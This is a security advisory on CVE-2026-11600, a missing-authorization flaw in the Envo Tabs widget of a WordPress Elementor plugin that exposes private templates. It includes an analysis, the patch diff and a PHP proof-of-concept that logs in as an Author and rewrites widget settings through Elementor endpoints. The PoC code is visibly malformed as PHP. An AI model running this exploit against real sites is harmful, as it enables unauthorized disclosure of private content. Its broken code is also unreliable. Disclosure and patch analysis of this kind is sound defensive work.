Published : July 3, 2026

CVE-2026-11600: Envo’s Templates & Widgets for Elementor and WooCommerce <= 1.4.26 Missing Authorization to Authenticated (Author+) Private Content Disclosure via Envo Tabs Widget 'templates' Setting PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.4.26
Patched Version 1.4.27
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11600: This vulnerability allows authenticated attackers with Author-level access to disclose private Elementor-driven content through the Envo Tabs widget in the Envo’s Templates & Widgets for Elementor and WooCommerce plugin versions up to 1.4.26. The issue resides in the widget’s template rendering logic which fails to check post status before displaying content. CVSS 4.3 (Medium) due to the authenticated requirement but potential for broad data exposure.

The root cause is a missing authorization check in the `render()` method of the Envo Tabs widget, located in `/modules/tabs/widgets/tabs.php` around line 1268. The vulnerable code passes a user-supplied post ID (`$item[‘templates’]`) directly to Elementor’s `Plugin::instance()->frontend->get_builder_content_for_display()` without first verifying that the referenced post has a status of ‘publish’. The `$item[‘templates’]` value comes from a widget setting (‘templates’) which can be manipulated via the Elementor editor REST API, as the plugin does not enforce that only published templates can be selected.

Exploitation involves an authenticated attacker (Author or above) editing a public post with the Envo Tabs widget through Elementor’s frontend editor. The attacker modifies the widget’s JSON configuration using the Elementor REST API at `/wp-json/elementor/v1/globals` or via the editor’s AJAX endpoints to set the ‘templates’ parameter to the ID of any private or draft Elementor template. The widget then renders that template’s content to any visitor viewing the public post, bypassing WordPress’s usual post access controls.

The patch adds a simple status check: `if (get_post_status($item[‘templates’]) === ‘publish’)` before calling `get_builder_content_for_display()`. Before the patch, any post ID was passed to Elementor’s display function regardless of the post’s status. After the patch, only posts with ‘publish’ status are rendered, preventing disclosure of private, draft, or otherwise non-public templates.

If exploited, an attacker can disclose the full content of any private Elementor template or page to anonymous visitors. This includes sensitive data such as proprietary layouts, internal notes, draft content, or any confidential information stored in Elementor templates. The exposure is server-side rendered content delivered in the HTML response to the visitor, making it trivially accessible.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/envo-elementor-for-woocommerce/elementor-templates-widgets-woocommerce.php
+++ b/envo-elementor-for-woocommerce/elementor-templates-widgets-woocommerce.php
@@ -4,7 +4,7 @@
  * Plugin Name: Envo's Templates & Widgets for Elementor and WooCommerce
  * Description: Templates library and widgets for Elementor and WooCommerce.
  * Plugin URI: 	https://envothemes.com/elementor-templates-for-woocommerce/
- * Version: 	1.4.26
+ * Version: 	1.4.27
  * Author: 	EnvoThemes
  * Author URI: 	https://envothemes.com/
  * License:  	GPL-2.0+
@@ -17,7 +17,7 @@
 if (!defined('ABSPATH'))
     exit; // Exit if accessed directly

-define('ETWW_VERSION', '1.4.26');
+define('ETWW_VERSION', '1.4.27');
 define('ETWW_ROOT', __FILE__);
 define('ETWW_URL', plugins_url('/', ETWW_ROOT));
 define('ETWW_PATH', plugin_dir_path(ETWW_ROOT));
--- a/envo-elementor-for-woocommerce/modules/tabs/widgets/tabs.php
+++ b/envo-elementor-for-woocommerce/modules/tabs/widgets/tabs.php
@@ -1265,7 +1265,9 @@
                         if ('custom' == $item['source'] && !empty($item['tab_content'])) {
                             echo $this->parse_text_editor($item['tab_content']);
                         } else if ('template' == $item['source'] && ('0' != $item['templates'] && !empty($item['templates']))) {
-                            echo Plugin::instance()->frontend->get_builder_content_for_display($item['templates']);
+							if (get_post_status($item['templates']) === 'publish') {
+								echo Plugin::instance()->frontend->get_builder_content_for_display($item['templates']);
+							}
                         }
                         ?>
                     </div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11600 - Missing Authorization to Authenticated (Author+) Private Content Disclosure via Envo Tabs Widget 'templates' Setting

/**
 * This PoC demonstrates how an authenticated attacker with Author-level access can
 * exploit the missing authorization check in the Envo Tabs widget to disclose private
 * Elementor template content to anonymous visitors.
 * 
 * Steps:
 * 1. Authenticate as an Author-level user (or higher)
 * 2. Get a valid Elementor nonce from the WordPress admin
 * 3. Use the Elementor editor REST API to update the 'templates' parameter of an Envo Tabs widget
 *    on a public post to reference a private template ID
 * 4. Access the public post to view the private content
 * 
 * Prerequisites:
 * - WordPress site with Envo's Templates & Widgets for Elementor and WooCommerce <= 1.4.26
 * - An existing public post containing an Envo Tabs widget (for demonstration)
 * - The ID of a private Elementor template to disclose
 * - An Author-level account (username/password or application password)
 */

// Configuration - update these values
target_url = 'https://example.com';
username = 'author_user';
password = 'author_password'; // Or use application password
private_template_id = 42; // ID of a private/draft Elementor template
public_post_id = 10; // ID of a public post with Envo Tabs widget

// Step 1: Authenticate and get cookies and nonce
function get_nonce_and_cookies(url, user, pass) {
    // Send login request
    login_url = url + '/wp-login.php';
    ch = curl_init(login_url);
    curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt(ch, CURLOPT_POST, true);
    curl_setopt(ch, CURLOPT_POSTFIELDS, http_build_query([
        'log' => user,
        'pwd' => pass,
        'wp-submit' => 'Log In',
        'redirect_to' => url + '/wp-admin/',
        'testcookie' => 1
    ]));
    curl_setopt(ch, CURLOPT_HEADER, true);
    curl_setopt(ch, CURLOPT_COOKIESESSION, true);
    curl_setopt(ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
    curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec(ch);
    curl_close(ch);

    // Extract nonce from admin page
    ch = curl_init(url + '/wp-admin/admin-ajax.php');
    curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt(ch, CURLOPT_POST, true);
    curl_setopt(ch, CURLOPT_POSTFIELDS, http_build_query([
        'action' => 'elementor_ajax',
        'nonce' => ''
    ]));
    curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec(ch);
    curl_close(ch);

    // Alternatively, fetch admin page to get nonce for Elementor
    admin_url = url + '/wp-admin/post.php?post=' + public_post_id + '&action=elementor';
    ch = curl_init(admin_url);
    curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt(ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec(ch);
    curl_close(ch);

    // Parse nonce from HTML (Elementor nonce pattern: _wpnonce=...)
    preg_match('/_wpnonce=([a-f0-9]+)/', response, matches);
    if (isset(matches[1])) {
        return matches[1];
    }

    // Fallback: try to get from JSON response
    preg_match('/"nonce":"([a-f0-9]+)"/', response, matches);
    if (isset(matches[1])) {
        return matches[1];
    }

    die("[-] Failed to retrieve Elementor nonce. Check authentication or manual steps.n");
}

nonce = get_nonce_and_cookies(target_url, username, password);
echo "[+] Retrieved Elementor nonce: " + nonce + "n";

// Step 2: Build the malicious widget configuration
// The Envo Tabs widget stores its template IDs in a 'templates' key within each tab item.
// We'll inject the private template ID into the widget's JSON structure.
malicious_data = [
    'template' => [
        'content' => [
            [
                'elements' => [
                    [
                        'widgetType' => 'envo-tabs',
                        'settings' => [
                            'tabs' => [
                                [
                                    'tab_id' => 'tab1',
                                    'tab_title' => 'Exploit Tab',
                                    'source' => 'template',
                                    'templates' => (string) private_template_id
                                ]
                            ]
                        ]
                    ]
                ]
            ]
        ]
    ]
];

// Step 3: Send the request to update the post's Elementor data
// Endpoint: /wp-json/elementor/v1/globals (or via admin-ajax.php)
rest_url = target_url + '/wp-json/elementor/v1/globals';
ch = curl_init(rest_url);
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt(ch, CURLOPT_POSTFIELDS, json_encode([
    'post_id' => public_post_id,
    'data' => malicious_data
]));
curl_setopt(ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' + nonce
]);
curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec(ch);
http_code = curl_getinfo(ch, CURLINFO_HTTP_CODE);
curl_close(ch);

echo "[+] REST API response code: " + http_code + "n";
echo "[+] Response: " + response + "n";

// Step 4: Verify exploitation by fetching the public post
post_url = target_url + '/?p=' + public_post_id;
ch = curl_init(post_url);
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec(ch);
curl_close(ch);

// Check if the private template content appears in the response
if (strpos(response, 'elementor-widget-envo-tabs') !== false) {
    echo "[!] Vulnerability likely present: Envo Tabs widget rendered.n";
    // Look for unique content from the private template to confirm disclosure
    // (Replace 'UNIQUE_MARKER' with actual content from the private template)
    if (strpos(response, 'UNIQUE_MARKER') !== false) {
        echo "[+] Confirmed disclosure of private template content!n";
    } else {
        echo "[!] Widget rendered, but could not confirm specific private content.n";
        echo "    Check the response manually for template content.n";
    }
} else {
    echo "[-] Widget not found in response. Exploit may have failed (check post ID, widget presence).n";
}

// Cleanup
unlink('/tmp/cookies.txt');
?>

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